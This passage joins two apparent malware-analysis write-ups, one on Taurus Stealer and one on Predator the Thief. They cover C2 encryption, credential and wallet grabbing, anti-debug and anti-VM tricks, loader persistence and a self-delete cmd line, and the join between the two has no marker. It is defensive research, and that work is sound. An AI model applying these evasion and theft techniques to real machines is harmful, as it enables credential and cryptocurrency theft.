How the port is set In the analyzed sample, the port for communications is set as a hardcoded value in a variable that is used in the code. This setting is usually hidden. Sometimes a simple “push 80” in the middle of the code, or a setting to a variable using “mov [addr], 0x50” is used. Other samples use https and set the port with a XOR operation like “0x3a3 ^ 0x218” which evaluates to “443”, the standard https port. In the analyzed sample, before any communication with the C2 is made, a hardcoded “push 0x50 + pop EDI” is executed to store the port used for communications (port 80) in EDI. EDI register will be used later in the code to access the communications port where necessary. The following figure shows how Taurus Stealer checks which is the port used for communications and how it sets dwFlags for the call to HttpOpenRequestA accordingly.
Figure 29. Taurus Stealer sets dwFlags according to the port
So, if the samples uses port 80 or any other port different from 443, the following flags will be used:
RC4 Taurus Stealer uses RC4 stream cipher as its first layer of encryption for communications with the C2. The symmetric key used for this algorithm is randomly generated, which means the key will have to be stored somewhere in the body of the message being sent so that the receiver can decrypt the content. Key Generation The procedure we’ve named getRandomString is the routine called by Taurus Stealer to generate the RC4 symmetric key. It receives 2 parameters, the first is an output buffer that will receive the key and the second is the length of the key to be generated. To create the random chunk of data, it generates an array of bytes loading three XMM registers in memory and then calling rand() to get a random index that it will use to get a byte from this array. This process is repeated for as many bytes as specified by the second parameter. Given that all the bytes in these XMM registers are printable, this suggests that getRandomString produces an alphanumeric key of n bytes length.
Figure 30. Taurus Stealer getRandomString routine
Given the lack of srand, no seed is initialized and the rand function will end up giving the same “random” indexes. In the analyzed sample, there is only one point in which this functionality is called with a different initial value (when creating a random directory in %PROGRAMDATA% to store .dlls, as we will see later). We’ve named this function getRandomString2 as it has the same purpose. However, it receives an input buffer that has been processed beforehand in another function (we’ve named this function getRandomBytes). This input buffer is generated by initializing a big buffer and XORing it over a loop with the result of a GetTickCount call. This ends up giving a “random” input buffer which getRandomString2 will use to get indexes to an encrypted string that resolves in runtime as “ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789”, and finally generate a random string for a given length. We have seen other Taurus Stealer samples moving onto this last functionality (using input buffers XORed with the result of a GetTickCount call to generate random chunks of data) every time randomness is needed (generation communication keys, filenames, etc.). The malware sample d0aa932e9555a8f5d9a03a507d32ab3ef0b6873c4d9b0b34b2ac1bd68f1abc23 is an example of these Taurus Stealer variants.
Figure 31. Taurus Stealer getRandomBytes routine
BASE64 This is the last encoding layer before C2 communications happen. It uses a classic BASE64 to encode the message (that has been previously encrypted with RC4) and then, after encoding, the RC4 symmetric key is appended to the beginning of the message. The receiver will then need to get the key from the beginning of the message, BASE64 decode the rest of it and use the retrieved key to decrypt the final RC4 encrypted message. To avoid having a clear BASE64 alphabet in the code, it uses XMM registers to load an encrypted alphabet that is decrypted using the previously seen SUB encryption scheme before encoding.
Figure 32. Taurus Stealer hiding Base64 alphabet
This is what the encryption procedure would look like:
1. Generate RC4 key using getRandomString with a hardcoded size of 16 bytes.
2. RC4 encrypt the message using the generated 16 byte key.
3. BASE64encode the encrypted message.
4. Append RC4 symmetric key at the beginning of the encoded message.
Figure 33. Taurus Stealer encryption routine
Bot Registration + Getting dynamic configuration Once all the initial checks have been successfully passed, it is time for Taurus to register this new Bot and retrieve the dynamic configuration. To do so, a request to the resource /cfg/ of the C2 is made with the encrypted Bot Id as a message. For example, given a BotId “s0w1s8y9r9w1s8y9r9 and a key “IDaJhCHdIlfHcldJ”:
The responses go through a decryption routine that will reverse the steps described above to get the plaintext message. As you can see in the following figure, the key length is hardcoded in the binary and expected to be 16 bytes long.
Figure 34. Taurus Stealer decrypting C2 responses
To decrypt it, we do as follow: 1. Get RC4 key (first 16 bytes of the message) xBtSRalRvNNFBNqA 2. BASE64 decode the rest of the message (after the RC4 key)
3. Decrypt the message using RC4 key (get dynamic config.) [1;1;1;1;1;0;1;1;1;1;1;1;1;1;1;1;1;5000;0;0]#[]#[156.146.57.112;US]#[] We can easily see that consecutive configurations are separated by the character “;”, while the character ‘#’ is used to separate different configurations. We can summarize them like this: [STEALER_CONFIG]#[GRABBER_CONFIG]#[NETWORK_CONFIG]#[LOADER_CONFIG] In case the C2 is down and no dynamic configuration is available, it will use a hardcoded configuration stored in the binary which would enable all stealers, Anti-VM, and Self-Delete features. (Dynamic Grabber and Loader modules are not enabled by default in the analyzed sample).
Figure 35. Taurus uses a static hardcoded configuration If C2 is not available
Anti – VM (optional) This functionality is optional and depends on the retrieved configuration. If the malware detects that it is running in a Virtualized environment, it will abort execution before causing any damage. It makes use of old and common x86 Anti-VM instructions (like the RedPill technique) to detect the Virtualized environment in this order:
SIDT
SGDT
STR
CPUID
SMSW
Figure 36. Taurus Stealer Anti-VM routine
Stealer / Grabber
We can distinguish 5 main grabbing methods used in the malware. All paths and strings required, as usual with Taurus Stealer, are created at runtime and come encrypted in the methods described before. Grabber 1 This is one of the most used grabbing methods, along with the malware execution (if it is not used as a call to the grabbing routine it is implemented inside another function in the same way), and consists of traversing files (it ignores directories) by using kernel32.dllFindFirstFileA, FindNextFileA and FindClose API calls. This grabbing method does not use recursion. The grabber expects to receive a directory as a parameter for those calls (it can contain wildcards) to start the search with. Every found file is grabbed and added to a ZIP file in memory for future exfiltration. An example of its use can be seen in the Wallets Stealing functionality, when searching, for instance, for Electrum wallets: Grabber 2 This grabber is used in the Outlook Stealing functionality and uses advapi32.dllRegOpenKeyA, RegEnumKeyA, RegQueryValueExA and RegCloseKey API calls to access the and steal from Windows Registry. It uses a recursive approach and will start traversing the Windows Registry searching for a specific key from a given starting point until RegEnumKeyA has no more keys to enumerate. For instance, in the Outlook Stealing functionality this grabber is used with the starting Registry key “HKCU\software\microsoft\office” searching for the key “9375CFF0413111d3B88A00104B2A667“. Grabber 3 This grabber is used to steal browsers data and uses the same API calls as Grabber 1 for traversing files. However, it loops through all files and directories from %USERS% directory and favors recursion. Files found are processed and added to the ZIP file in memory. One curious detail is that if a “wallet.dat” is found during the parsing of files, it will only be dumped if the current depth of the recursion is less or equal to 5. This is probably done in an attempt to avoid dumping invalid wallets. We can summarize the files Taurus Stealer is interested in the following table:
Grabbed File
Affected Software
History
Browsers
formhistory.sqlite
Mozilla Firefox & Others
cookies.sqlite
Mozilla Firefox & Others
wallet.dat
Bitcoin
logins.json
Chrome
signongs.sqlite
Mozilla Firefox & Others
places.sqlite
Mozilla Firefox & Others
Login Data
Chrome / Chromium based
Cookies
Chrome / Chromium based
Web Data
Browser
Table 5. Taurus Stealer list of files for Browser Stealing functionalities
Grabber 4
This grabber steals information from the Windows Vault, which is the default storage vault for the credential manager information. This is done through the use of Vaultcli.dll, which encapsulates the necessary functions to access the Vault. Internet Explorer data, since it’s version 10, is stored in the Vault. The malware loops through its items using:
VaultEnumerateVaults
VaultOpenVault
VaultEnumerateItems
VaultGetItem
VaultFree
Grabber 5 This last grabber is the customized grabber module (dynamic grabber). This module is responsible for grabbing files configured by the threat actor operating the botnet. When Taurus makes its first request to the C&C, it retrieves the malware configuration, which can include a customized grabbing configuration to search and steal files. This functionality is not enabled in the default static configuration from the analyzed sample (the configuration used when the C2 is not available). As in earlier grabbing methods, this is done via file traversing using kernel32.dll FindFirstFileA, FindNextFileA and FindClose API calls. The threat actor may set recursive searches (optional) and multiple wildcards for the search.
Figure 37. Threat Actor can add customized grabber rules for the dynamic grabber
Targeted Software This is the software the analyzed sample is targeting. It has functionalities to steal from: Wallets:
Electrum
MultiBit
Armory
Ethereum
Bytecoin
Jaxx
Atomic
Exodus
Dahscore
Bitcoin
Wasabi
Daedalus
Monero
Games:
Steam
Communications:
Telegram
Discord
Jabber
Mail:
FoxMail
Outlook
FTP:
FileZilla
WinSCP
2FA Software:
Authy
VPN:
NordVPN
Browsers:
Mozilla Firefox (also Gecko browsers)
Chrome (also Chromium browsers)
Internet Explorer
Edge
Browsers using the same files the grabber targets.
However, it has been seen in other samples and their advertisements that Taurus Stealer also supports other software not included in the list like BattleNet, Skype and WinFTP. As mentioned earlier, they also have an open communication channel with their customers, who can suggest new software to add support to. Stealer Dependencies Although the posts that sell the malware in underground forums claim that Taurus Stealer does not have any dependencies, when stealing browser information (by looping through files recursively using the “Grabber 3” method described before), if it finds “logins.json” or “signons.sqlite” it will then ask for needed .dlls to its C2. It first creates a directory in %PROGRAMDATA%\<bot id>, where it is going to dump the downloaded .dlls. It will check if “%PROGRAMDATA%\<bot id>\nss3.dll” exists and will ask for its C2 (doing a request to /dlls/ resource) if not. The .dlls will be finally dumped in the following order:
1. freebl3.dll
2. mozglue.dll
3. msvcp140.dll
4. nss3.dll
5. softokn3.dll
6. vcruntime140.dll
If we find the C2 down (when analyzing the sample, for example), we will not be able to download the required files. However, the malware will still try, no matter what, to load those libraries after the request to /dlls/ has been made (starting by loading “nss3.dll”), which would lead to a crash. The malware would stop working from this point. In contrast, if the C2 is alive, the .dlls will be downloaded and written to disk in the order mentioned before. The following figure shows the call graph from the routine responsible for requesting and dumping the required libraries to disk.
Figure 38. Taurus Stealer dumping retrieved .dlls from its Command and Control Server to disk
Information Gathering After the Browser stealing process is finished, Taurus proceeds to gather information from the infected machine along with the Taurus Banner and adds this data to the ZIP file in memory with the filename “Information.txt”. All this functionality is done through a series of unnecessary steps caused by all the obfuscation techniques to hide strings, which leads to a horrible function call graph:
Figure 39. Taurus Stealer main Information Gathering routine call graph
It gets information and concatenates it sequentially in memory until we get the final result:
One curious difference from earlier Taurus Stealer versions is that the Active Window from the infected machine is now also included in the information gathering process.
Enumerate Installed Software As part of the information gathering process, it will try to get a list of the installed software from the infected machine by looping in the registry from “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and retrieving DisplayName and DisplayVersion with RegQueryValueExA until RegEnumKeyA does not find more keys. If software in the registry list has the key “DisplayName”, it gets added to the list of installed software. Then, if it also has “Display Version” key, the value is appended to the name. In case this last key is not available, “[Unknown]” is appended instead. Following the pattern: “DisplayName\tDisplayVersion” As an example:
The list of software is included in the ZIP file in memory with the filename “Installed Software.txt”
C2 Exfiltration
During the stealing process, the data that is grabbed from the infected machine is saved in a ZIP file in memory. As we have just seen, information gathering files are also included in this fileless ZIP. When all this data is ready, Taurus Stealer will proceed to:
1. Generate a Bot Id results summary message.
2. Encrypt the ZIP file before exfiltration.
3. Exfiltrate the ZIP file to Command and Control server.
4. Delete traces from networking activity
Generate Bot Id results summary The results summary message is created in 2 stages. The first stage loads generic information from the infected machine (Bot Id, Build Id, Windows version and architecture, current user, etc.) and a summary count of the number of passwords, cookies, etc. stolen. As an example:
Finally, it concatenates a string that represents a mask stating which Software has been available to steal information from (e.g. Telegram, Discord, FileZilla, WinSCP. etc.).
This summary information is then added in the memory ZIP file with the filename “LogInfo.txt”. This behavior is different from earlier Taurus Stealer versions, where the information was sent as part of the URL (when doing exfiltration POST request to the resource /gate/log/) in the parameter “data”. Although this summary information was encrypted, the exfiltrated ZIP file was sent in cleartext. Encrypt ZIP before exfiltration Taurus Stealer will then encrypt the ZIP file in memory using the techniques described before: using the RC4 stream cipher with a randomly generated key and encoding the result in BASE64. Because the RC4 key is needed to decrypt the message, the key is included at the beginning of the encoded message. In the analyzed sample, as we saw before, the key length is hardcoded and is 16 bytes. As an example, this could be an encrypted message being sent in a POST request to the /log/ resource of a Taurus Stealer C2, where the RC4 key is included at the beginning of the message (first 16 characters).
Exfiltrate ZIP file to Command and Control server As in the earlier versions, it uses a try-retry logic where it will try to exfiltrate up to 10 times (in case the network is failing, C2 is down, etc.). It does so by opening a handle using HttpOpenRequestA for the “/log/” resource and using this handle in a call to HttpSendRequestA, where exfiltration is done (the data to be exfiltrated is in the post_data argument). The following figure shows this try-retry logic in a loop that executes HttpSendRequestA.
Figure 40. Taurus Stealer will try to exfiltrate up to 10 times
The encrypted ZIP file is sent with Content-Type: application/octet-stream. The filename is a randomly generated string of 16 bytes. However, earlier Taurus Stealer versions used the Bot Id as the .zip filename. Delete traces from networking activity After exfiltration, it uses DeleteUrlCacheEntry with the C2 as a parameter for the API call, which deletes the cache entry for a given URL. This is the last step of the exfiltration process and is done to avoid leaving traces from the networking activity in the infected machine.
Loader (optional)
Upon exfiltration, the Loader module is executed. This module is optional and gets its configuration from the first C2 request. If the module is enabled, it will load an URL from the Loader configuration and execute URLOpenBlockingStream to download a file. This file will then be dumped in %TEMP% folder using a random filename of 8 characters. Once the file has been successfully dumped in the infected machine it will execute it using ShellExecuteA with the option nShowCmd as “SW_HIDE”, which hides the window and activates another one. If persistence is set in the Loader configuration, it will also schedule a task in the infected machine to run the downloaded file every minute using:
The next figure shows the Schedule Task Manager from an infected machine where the task has been scheduled to run every minute indefinitely.
Figure 41. Loader persistence is carried out by creating a scheduled task to run every minute indefinitely
Once the file is executed, a new POST request is made to the C2 to the resource /loader/complete/. The following figure summarizes the main responsibilities of the Loader routine.
This functionality is the last one being executed in the malware and is also optional, although it is enabled by default if no response from the C2 was received in the first request. It will use CreateProcessA to execute cmd.exe with the following arguments:
cmd.exe /c timeout /t 3 & del /f /q <malware_filepath>
Malware_filepath is the actual path of the binary being executed (itself). A small timeout is set to give time to the malware to finish its final tasks. After the creation of this process, only a clean-up routine is executed to delete strings from memory before finishing execution.
YARA rule
This memory Yara rule detects both old and new Taurus Stealer versions. It targets some unique functionalities from this malware family:
Hex2Dec: Routine used to convert from a Hexadecimal value to a Decimal value.
Bot Id/UUID generation routine.
getRandomString: Routine used to generate a random string using rand() over a static input buffer
getRandomString2: Routine used to generate a random string using rand() over an input buffer previously “randomized” with GetTickCount
getRandomBytes: Routine to generate “random” input buffers for getRandomString2
Hashing algorithm used to resolve APIs and Anti – C2 mod. feature.
Information Stealers like Taurus Stealer are dangerous and can cause a lot of damage to individuals and organizations (privacy violation, leakage of confidential information, etc.). Consequences vary depending on the significance of the stolen data. This goes from usernames and passwords (which could be targetted by threat actors to achieve privilege escalation and lateral movement, for example) to information that grants them immediate financial profit, such as cryptocurrency wallets. In addition, stolen email accounts can be used to send spam and/or distribute malware. As has been seen throughout the analysis, Taurus Stealer looks like an evolving malware that is still being updated (improving its code by adding features, more obfuscation and bugfixes) as well as it’s Panel, which keeps having updates with more improvements (such as adding filters for the results coming from the malware or adding statistics for the loader). The fact the malware is being actively used in the wild suggests that it will continue evolving and adding more features and protections in the future, especially as customers have an open dialog channel to request new software to target or to suggest improvements to improve functionality. For more details about how we reverse engineer and analyze malware, visit our targeted malware module page.
Whenever I reverse a sample, I am mostly interested in how it was developed, even if in the end the techniques employed are generally the same, I am always curious about what was the way to achieve a task, or just simply understand the code philosophy of a piece of code. It is a very nice way to spot different trending and discovering (sometimes) new tricks that you never know it was possible to do. This is one of the main reasons, I love digging mostly into stealers/clippers for their accessibility for being reversed, and enjoying malware analysis as a kind of game (unless some exceptions like Nymaim that is literally hell).
It’s been 1 year and a half now that I start looking into “Predator The Thief”, and this malware has evolved over time in terms of content added and code structure. This impression could be totally different from others in terms of stealing tasks performed, but based on my first in-depth analysis,, the code has changed too much and it was necessary to make another post on it.
This one will focus on some major aspects of the 3.3.2 version, but will not explain everything (because some details have already been mentioned in other papers, some subjects are known). Also, times to times I will add some extra commentary about malware analysis in general.
Anti-Disassembly
When you open an unpacked binary in IDA or other disassembler software like GHIDRA, there is an amount of code that is not interpreted correctly which leads to rubbish code, the incapacity to construct instructions or showing some graph. Behind this, it’s obvious that an anti-disassembly trick is used.
The technique exploited here is known and used in the wild by other malware, it requires just a few opcodes to process and leads at the end at the creation of a false branch. In this case, it begins with a simple xor instruction that focuses on configuring the zero flag and forcing the JZ jump condition to work no matter what, so, at this stage, it’s understandable that something suspicious is in progress. Then the MOV opcode (0xB8) next to the jump is a 5 bytes instruction and disturbing the disassembler to consider that this instruction is the right one to interpret beside that the correct opcode is inside this one, and in the end, by choosing this wrong path malicious tasks are hidden.
Of course, fixing this issue is simple, and required just a few seconds. For example with IDA, you need to undefine the MOV instruction by pressing the keyboard shortcut “U”, to produce this pattern.
Then skip the 0xB8 opcode, and pushing on “C” at the 0xE8 position, to configure the disassembler to interpret instruction at this point.
Replacing the 0xB8 opcode by 0x90. with a hexadecimal editor, will fix the issue. Opening again the patched PE, you will see that IDA is now able to even show the graph mode.
After patching it, there are still some parts that can’t be correctly parsed by the disassembler, but after reading some of the code locations, some of them are correct, so if you want to create a function, you can select the “loc” section then pushed on “P” to create a sub-function, of course, this action could lead to some irreversible thing if you are not sure about your actions and end to restart again the whole process to remove a the ant-disassembly tricks, so this action must be done only at last resort.
Code Obfuscation
Whenever you are analyzing Predator, you know that you will have to deal with some obfuscation tricks almost everywhere just for slowing down your code analysis. Of course, they are not complicated to assimilate, but as always, simple tricks used at their finest could turn a simple fun afternoon to literally “welcome to Dark Souls”. The concept was already there in the first in-depth analysis of this malware, and the idea remains over and over with further updates on it. The only differences are easy to guess :
More layers of obfuscation have been added
Techniques already used are just adjusted.
More dose of randomness
As a reversing point of view, I am considering this part as one the main thing to recognized this stealer, even if of course, you can add network communication and C&C pattern as other ways for identifying it, inspecting the code is one way to clarify doubts (and I understand that this statement is for sure not working for every malware), but the idea is that nowadays it’s incredibly easy to make mistakes by being dupe by rules or tags on sandboxes, due to similarities based on code-sharing, or just literally creating false flag.
GetModuleAddress
Already there in a previous analysis, recreating the GetProcAddress is a popular trick to hide an API call behind a simple register call. Over the updates, the main idea is still there but the main procedures have been modified, reworked or slightly optimized.
First of all, we recognized easily the PEB retrieved by spotting fs[0x30] behind some extra instructions.
then from it, the loader data section is requested for two things:
Getting the InLoadOrderModuleList pointer
Getting the InMemoryOrderModuleList pointer
For those who are unfamiliar by this, basically, the PEB_LDR_DATA is a structure is where is stored all the information related to the loaded modules of the process.
Then, a loop is performing a basic search on every entry of the module list but in “memory order” on the loader data, by retrieving the module name, generating a hash of it and when it’s done, it is compared with a hardcoded obfuscated hash of the kernel32 module and obviously, if it matches, the module base address is saved, if it’s not, the process is repeated again and again.
The XOR kernel32 hashes compared with the one created
Nowadays, using hashes for a function name or module name is something that you can see in many other malware, purposes are multiple and this is one of the ways to hide some actions. An example of this code behavior could be found easily on the internet and as I said above, this one is popular and already used.
GetProcAddress / GetLoadLibrary
Always followed by GetModuleAddress, the code for recreating GetProcAddress is by far the same architecture model than the v2, in term of the concept used. If the function is forwarded, it will basically perform a recursive call of itself by getting the forward address, checking if the library is loaded then call GetProcAddress again with new values.
Xor everything
It’s almost unnecessary to talk about it, but as in-depth analysis, if you have never read the other article before, it’s always worth to say some words on the subject (as a reminder). The XOR encryption is a common cipher that required a rudimentary implementation for being effective :
Only one operator is used (XOR)
it’s not consuming resources.
It could be used as a component of other ciphers
This one is extremely popular in malware and the goal is not really to produce strong encryption because it’s ridiculously easy to break most of the time, they are used for hiding information or keywords that could be triggering alerts, rules…
Communication between host & server
Hiding strings
Or… simply used as an absurd step for obfuscating the code
etc…
A typical example in Predator could be seeing huge blocks with only two instructions (XOR & MOV), where stacks strings are decrypted X bytes per X bytes by just moving content on a temporary value (stored on EAX), XORed then pushed back to EBP, and the principle is reproduced endlessly again and again. This is rudimentary, In this scenario, it’s just part of the obfuscation process heavily abused by predator, for having an absurd amount of instruction for simple things.
Also for some cases, When a hexadecimal/integer value is required for an API call, it could be possible to spot another pattern of a hardcoded string moved to a register then only one XOR instruction is performed for revealing the correct value, this trivial thing is used for some specific cases like the correct position in the TEB for retrieving the PEB, an RVA of a specific module, …
Finally, the most common one, there is also the classic one used by using a for loop for a one key length XOR key, seen for decrypting modules, functions, and other things…
str = ... # encrypted string
for i, s in enumerate(str):
s[i] = s[i] ^ s[len(str)-1]
Sub everything
Let’s consider this as a perfect example of “let’s do the same exact thing by just changing one single instruction”, so in the end, a new encryption method is used with no effort for the development. That’s how a SUB instruction is used for doing the substitution cipher. The only difference that I could notice it’s how the key is retrieved.
Besides having something hardcoded directly, a signed 32-bit division is performed, easily noticeable by the use of cdq & idiv instructions, then the dl register (the remainder) is used for the substitution.
Stack Strings
What’s the result in the end?
Merging these obfuscation techniques leads to a nonsense amount of instructions for a basic task, which will obviously burn you some hours of analysis if you don’t take some time for cleaning a bit all that mess with the help of some scripts or plenty other ideas, that could trigger in your mind. It could be nice to see these days some scripts released by the community.
Simple tricks lead to nonsense code
Anti-Debug
There are plenty of techniques abused here that was not in the first analysis, this is not anymore a simple PEB.BeingDebugged or checking if you are running a virtual machine, so let’s dig into them. one per one except CheckRemoteDebugger! This one is enough to understand by itself :’)
NtSetInformationThread
One of the oldest tricks in windows and still doing its work over the years. Basically in a very simple way (because there is a lot thing happening during the process), NtSetInformationThread is called with a value (0x11) obfuscated by a XOR operator. This parameter is a ThreadInformationClass with a specific enum called ThreadHideFromDebugger and when it’s executed, the debugger is not able to catch any debug information. So the supposed pointer to the corresponding thread is, of course, the malware and when you are analyzing it with a debugger, it will result to detach itself.
CloseHandle/NtClose
Inside WinMain, a huge function is called with a lot of consecutive anti-debug tricks, they were almost all indirectly related to some techniques patched by TitanHide (or strongly looks like), the first one performed is a really basic one, but pretty efficient to do the task.
Basically, when CloseHandle is called with an inexistent handle or an invalid one, it will raise an exception and whenever you have a debugger attached to the process, it will not like that at all. To guarantee that it’s not an issue for a normal interaction a simple __try / __except method is used, so if this API call is requested, it will safely lead to the end without any issue.
The invalid handle used here is a static one and it’s L33T code with the value 0xBAADAA55 and makes me bored as much as this face.
That’s not a surprise to see stuff like this from the malware developer. Inside jokes, l33t values, animes and probably other content that I missed are something usual to spot on Predator.
ProcessDebugObjectHandle
When you are debugging a process, Microsoft Windows is creating a “Debug” object and a handle corresponding to it. At this point, when you want to check if this object exists on the process, NtQueryInformationProcess is used with the ProcessInfoClass initialized by 0x1e (that is in fact, ProcessDebugObjectHandle).
In this case, the NTStatus value (returning result by the API call) is an error who as the ID 0xC0000353, aka STATUS_PORT_NOT_SET. This means, “An attempt to remove a process’s DebugPort was made, but a port was not already associated with the process.”. The anti-debug trick is to verify if this error is there, that’s all.
NtGetContextThread
This one is maybe considered as pretty wild if you are not familiar with some hardware breakpoints. Basically, there are some registers that are called “Debug Register” and they are using the DRX nomenclature (DR0 to DR7). When GetThreadContext is called, the function will retrieve al the context information from a thread.
For those that are not familiar with a context structure, it contains all the register data from the corresponding element. So, with this data in possession, it only needs to check if those DRX registers are initiated with a value not equal to 0.
On the case here, it’s easily spottable to see that 4 registers are checked
int 3 (or Interrupt 3) is a popular opcode to force the debugger to stop at a specific offset. As said in the title, this is a breakpoint but if it’s executed without any debugging environment, the exception handler is able to deal with this behavior and will continue to run without any issue. Unless I missed something, here is the scenario.
By the way, as another scenario used for this one (the int 3), the number of this specific opcode triggered could be also used as an incremented counter, if the counter is above a specific value, a simplistic condition is sufficient to check if it’s executed into a debugger in that way.
Debug Condition
With all the techniques explained above, in the end, they all lead to a final condition step if of course, the debugger hasn’t crashed. The checking task is pretty easy to understand and it remains to a simple operation: “setting up a value to EAX during the anti-debug function”, if everything is correct this register will be set to zero, if not we could see all the different values that could be possible.
bloc in red is the correct condition over all the anti-debug tests
…And when the Anti-Debug function is done, the register EAX is checked by the test operator, so the ZF flag is determinant for entering into the most important loop that contains the main function of the stealer.
Anti-VM
The Anti VM is presented as an option in Predator and is performed just after the first C&C requests.
Tricks used are pretty olds and basically using Anti-VM Instructions
SIDT
SGDT
STR
CPUID (Hypervisor Trick)
By curiosity, this option is not by default performed if the C&C is not reachable.
Paranoid & Organized Predator
When entering into the “big main function”, the stealer is doing “again” extra validations if you have a valid payload (and not a modded one), you are running it correctly and being sure again that you are not analyzing it.
This kind of paranoid checking step is a result of the multiple cases of cracked builders developed and released in the wild (mostly or exclusively at a time coming from XakFor.Net). Pretty wild and fun to see when Anti-Piracy protocols are also seen in the malware scape.
Then the malware is doing a classic organized setup to perform all the requested actions and could be represented in that way.
Of course as usual and already a bit explained in the first paper, the C&C domain is retrieved in a table of function pointers before the execution of the WinMain function (where the payload is starting to do tasks).
You can see easily all the functions that will be called based on the starting location (__xc_z) and the ending location (__xc_z).
Then you can spot easily the XOR strings that hide the C&C domain like the usual old predator malware.
Data Encryption & Encoding
Besides using XOR almost absolutely everywhere, this info stealer is using a mix of RC4 encryption and base64 encoding whenever it is receiving data from the C&C. Without using specialized tools or paid versions of IDA (or whatever other software), it could be a bit challenging to recognize it (when you are a junior analyst), due to some modification of some part of the code.
Base64
For the Base64 functions, it’s extremely easy to spot them, with the symbol values on the register before and after calls. The only thing to notice with them, it’s that they are using a typical signature… A whole bloc of XOR stack strings, I believed that this trick is designed to hide an eventual Base64 alphabet from some Yara rules.
By the way, the rest of the code remains identical to standard base64 algorithms.
RC4
For RC4, things could be a little bit messy if you are not familiar at all with encryption algorithm on a disassembler/debugger, for some cases it could be hell, for some case not. Here, it’s, in fact, this amount of code for performing the process.
Blocs are representing the Generation of the array S, then performing the Key-Scheduling Algorithm (KSA) by using a specific secret key that is, in fact, the C&C domain! (if there is no domain, but an IP hardcoded, this IP is the secret key), then the last one is the Pseudo-random generation algorithm (PRGA).
For more info, some resources about this algorithm below:
The Hardware ID (HWID) and mutex are related, and the generation is quite funky, I would say, even if most of the people will consider this as something not important to investigate, I love small details in malware, even if their role is maybe meaningless, but for me, every detail counts no matter what (even the stupidest one).
Here the hardware ID generation is split into 3 main parts. I had a lot of fun to understand how this one was created.
First, it will grab all the available logical drives on the compromised machine, and for each of them, the serial number is saved into a temporary variable. Then, whenever a new drive is found, the hexadecimal value is added to it. so basically if the two drives have the serial number “44C5-F04D” and “1130-DDFF”, so ESI will receive 0x44C5F04D then will add 0x1130DFF.
When it’s done, this value is put into a while loop that will divide the value on ESI by 0xA and saved the remainder into another temporary variable, the loop condition breaks when ESI is below 1. Then the results of this operation are saved, duplicated and added to itself the last 4 bytes (i.e 1122334455 will be 112233445522334455).
If this is not sufficient, the value is put into another loop for performing this operation.
for i, s in enumerate(str):
if i & 1:
a += chr(s) + 0x40
else:
a += chr(s)
It results in the creation of an alphanumeric string that will be the archive filename used during the POST request to the C&C.
the generated hardware ID based on the serial number devices
But wait! there is more… This value is in part of the creation of the mutex name… with a simple base64 operation on it and some bit operand operation for cutting part of the base64 encoding string for having finally the mutex name!
Anti-CIS
A classic thing in malware, this feature is used for avoiding infecting machines coming from the Commonwealth of Independent States (CIS) by using a simple API call GetUserDefaultLangID.
The value returned is the language identifier of the region format setting for the user and checked by a lot of specific language identifier, of courses in every situation, all the values that are tested, are encrypted.
Language ID
SubLanguage Symbol
Country
0x0419
SUBLANG_RUSSIAN_RUSSIA
Russia
0x042b
SUBLANG_ARMENIAN_ARMENIA
Armenia
0x082c
SUBLANG_AZERI_CYRILLIC
Azerbaijan
0x042c
SUBLANG_AZERI_LATIN
Azerbaijan
0x0423
SUBLANG_BELARUSIAN_BELARUS
Belarus
0x0437
SUBLANG_GEORGIAN_GEORGIA
Georgia
0x043f
SUBLANG_KAZAK_KAZAKHSTAN
Kazakhstan
0x0428
SUBLANG_TAJIK_TAJIKISTAN
Tajikistan
0x0442
SUBLANG_TURKMEN_TURKMENISTAN
Turkmenistan
0x0843
SUBLANG_UZBEK_CYRILLIC
Uzbekistan
0x0443
SUBLANG_UZBEK_LATIN
Uzbekistan
0x0422
SUBLANG_UKRAINIAN_UKRAINE
Ukraine
Files, files where are you?
When I reversed for the first time this stealer, files and malicious archive were stored on the disk then deleted. But right now, this is not the case anymore. Predator is managing all the stolen data into memory for avoiding as much as possible any extra traces during the execution.
Predator is nowadays creating in memory a lot of allocated pages and temporary files that will be used for interactions with real files that exist on the disk. Most of the time it’s basically getting handles, size and doing some operation for opening, grabbing content and saving them to a place in memory. This explanation is summarized in a “very” simplify way because there are a lot of cases and scenarios to manage this.
Another point to notice is that the archive (using ZIP compression), is also created in memory by selecting folder/files.
The generated archive in memory
It doesn’t mean that the whole architecture for the files is different, it’s the same format as before.
an example of archive intercepted during the C&C Communication
Stealing
After explaining this many times about how this stuff, the fundamental idea is boringly the same for every stealer:
Check
Analyzing (optional)
Parsing (optional)
Copy
Profit
Repeat
What could be different behind that, is how they are obfuscating the files or values to check… and guess what… every malware has their specialties (whenever they are not decided to copy the same piece of code on Github or some whatever generic .NET stealer) and in the end, there is no black magic, just simple (or complex) enigma to solve. As a malware analyst, when you are starting into analyzing stealers, you want literally to understand everything, because everything is new, and with the time, you realized the routine performed to fetch the data and how stupid it is working well (as reminder, it might be not always that easy for some highly specific stuff).
In the end, you just want to know the targeted software, and only dig into those you haven’t seen before, but every time the thing is the same:
Checking dumbly a path
Checking a register key to have the correct path of a software
Checking a shortcut path based on an icon
etc…
Beside that Predator the Thief is stealing a lot of different things:
Grabbing content from Browsers (Cookies, History, Credentials)
Harvesting/Fetching Credit Cards
Stealing sensible information & files from Crypto-Wallets
Credentials from FTP Software
Data coming from Instant communication software
Data coming from Messenger software
2FA Authenticator software
Fetching Gaming accounts
Credentials coming from VPN software
Grabbing specific files (also dynamically)
Harvesting all the information from the computer (Specs, Software)
Stealing Clipboard (if during the execution of it, there is some content)
Making a picture of yourself (if your webcam is connected)
Making screenshot of your desktop
It could also include a Clipper (as a modular feature).
And… due to the module manager, other tasks that I still don’t have mentioned there (that also I don’t know who they are).
Let’s explain just some of them that I found worth to dig into.
Browsers
Since my last analysis, things changed for the browser part and it’s now divided into three major parts.
Internet Explorer is analyzed in a specific function developed due that the data is contained into a “Vault”, so it requires a specific Windows API to read it.
Microsoft Edge is also split into another part of the stealing process due that this one is using unique files and needs some tasks for the parsing.
Then, the other browsers are fetched by using a homemade static grabber
Grabber n°1 (The generic one)
It’s pretty fun to see that the stealing process is using at least one single function for catching a lot of things. This generic grabber is pretty “cleaned” based on what I saw before even if there is no magic at all, it’s sufficient to make enough damages by using a recursive loop at a specific place that will search all the required files & folders.
By comparing older versions of predator, when it was attempting to steal content from browsers and some wallets, it was checking step by step specific repositories or registry keys then processing into some loops and tasks for fetching the credentials. Nowadays, this step has been removed (for the browser part) and being part of this raw grabber that will parse everything starting to %USERS% repository.
